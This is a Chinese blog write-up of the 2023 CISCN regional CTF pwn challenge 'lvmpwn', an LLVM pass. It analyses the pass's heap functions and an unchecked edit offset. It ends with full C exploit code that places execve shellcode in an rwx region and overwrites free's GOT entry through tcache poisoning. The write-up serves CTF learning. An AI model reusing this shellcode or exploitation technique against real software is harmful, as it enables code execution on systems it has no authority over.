2023 ciscn 华中赛区 lvmpwn

发布时间 2023-07-31 14:46:06作者: 何思泊河

2023 ciscn 华中赛区 lvmpwn

这算是复现华中赛区的最后一个pwn题了,为了做这个题前一段时间又专门学了一下llvm中间又有点事就拖到了现在,如果想看2023 ciscn 华中赛区的其他pwn题wp可以看一下我前面的一篇博客,做了llvm的题也有5道了,发现做这样的题漏洞都是很简单,难在程序函数功能的分析。

这道题有点怪,按照我之前的方法没有搜到重写的runOnFunctionPASS名也没有找到,我直接硬找反正重写的runOnFunction一定在data.rel.ro段中最后一个

至于pass名盲猜一手,我想既然是个名字,大概率是.rodata段上第一个,看了一下第一个是Hello,结果对了,

程序分析

alloc

就是使用mmap映射一片具有rwx属性的区域

image-20230729195011952

image-20230729195020796

add

大概意思就是根据Add(xxx);申请出xxx大小的chunk

image-20230729195657432

而且根据申请大小不同,chunk地地址也不同,当大小超过top就会使用mmap映射出来一个地址

image-20230731115751090

image-20230731115939282

edit

这个函数有三个参数,第一个参数用来选择先那个chunk中写入,第二个参数选择chunk中那个位置(只能是4的整数倍),第三个参数选择写入的内容,这也是漏洞所在,没有对第二个参数进行检查

image-20230731105031860

editalloc

可以将chunk中前2个字放进具有rwx属性区域中

image-20230731110641225

del

就是删除chunk,没有uaf

image-20230731111617776

漏洞利用

这道题的利用流程就是

1、利用add向堆块的前两个字中写入shellcode

2、利用editalloc把chunk中的shellcode拷贝到0x10004处

3、利用edit中漏洞修改free的got表为0x10004处(就是修改tcache的fd指针来达到任意地址写libc版本反正不超过2.32,超过就没法玩了),而且休要修改两次因为edit一次只能改两个字

调试

向0x10004中写入shellcode

image-20230731111452065

将free的got表申请出来

image-20230731141354070

exp

#include <stdio.h>  
#include <unistd.h>  
#include <stdint.h>  
int Add(int size){  
    return 0;  
}  
int Del(int idx){  
    return 0;  
}  
int Edit(int idx,int offset,int value){  
    return 0;  
}  
int Alloc(){  
    return 0;  
}  
int EditAlloc(long idx,long offset){  
    return 0;  
}  
int Show(){  
    return 0;  
}  
int main(int argc,char *argv[])  
{  
    Alloc();  
    Add(0x1000000);  
    Add(0x1000000);  
    Add(0x1000000);  
    Add(0x1000000);  
    Add(0x1000000);  
    Add(0x1000000);  
    Add(0x1000000);  
    Add(0x1000000);  
    Add(0x1000000);  
    Add(0x1000000);  
    Add(0x1000000);  
    Add(0x1000000);  
    Add(0x1000000);  
    Add(0x1000000);  
    Edit(0,0,0xb848686a);  
    Edit(1,0,0x6e69622f);  
    Edit(2,0,0x732f2f2f);  
    Edit(3,0,0xe7894850);  
    Edit(4,0,0x01697268);  
    Edit(5,0,0x24348101);  
    Edit(6,0,0x01010101);  
    Edit(7,0,0x6a56f631);  
    Edit(8,0,0x01485e08);  
    Edit(9,0,0x894856e6);  
    Edit(10,0,0x6ad231e6);  
    Edit(11,0,0x050f583b);  
  
    EditAlloc(0,0x8);  
    EditAlloc(1,0x8+0x4);  
    EditAlloc(2,0x8+0x4+0x4);  
    EditAlloc(3,0x8+0x4+0x4+0x4);  
    EditAlloc(4,0x8+0x4+0x4+0x4+0x4);  
    EditAlloc(5,0x8+0x4+0x4+0x4+0x4+0x4);  
    EditAlloc(6,0x8+0x4+0x4+0x4+0x4+0x4+0x4);  
    EditAlloc(7,0x8+0x4+0x4+0x4+0x4+0x4+0x4+0x4);  
    EditAlloc(8,0x8+0x4+0x4+0x4+0x4+0x4+0x4+0x4+0x4);  
    EditAlloc(9,0x8+0x4+0x4+0x4+0x4+0x4+0x4+0x4+0x4+0x4);  
    EditAlloc(10,0x8+0x4+0x4+0x4+0x4+0x4+0x4+0x4+0x4+0x4+0x4);  
    EditAlloc(11,0x8+0x4+0x4+0x4+0x4+0x4+0x4+0x4+0x4+0x4+0x4+0x4);  
    Add(0x110);  
    Add(0x110);  
    Add(0x110);  
    Del(14);  
    Edit(15,0x48,0x00000000078b10c);  
    Add(0x110);  
    Add(0x110);  
    Del(14);  
    Del(15);  
    Edit(16,0x48,0x00000000078b108);  
    Add(0x110);  
    Add(0x110);  
    Edit(17,0,0);  
    Edit(15,0,0x10004);  
    Del(16);
  
      
}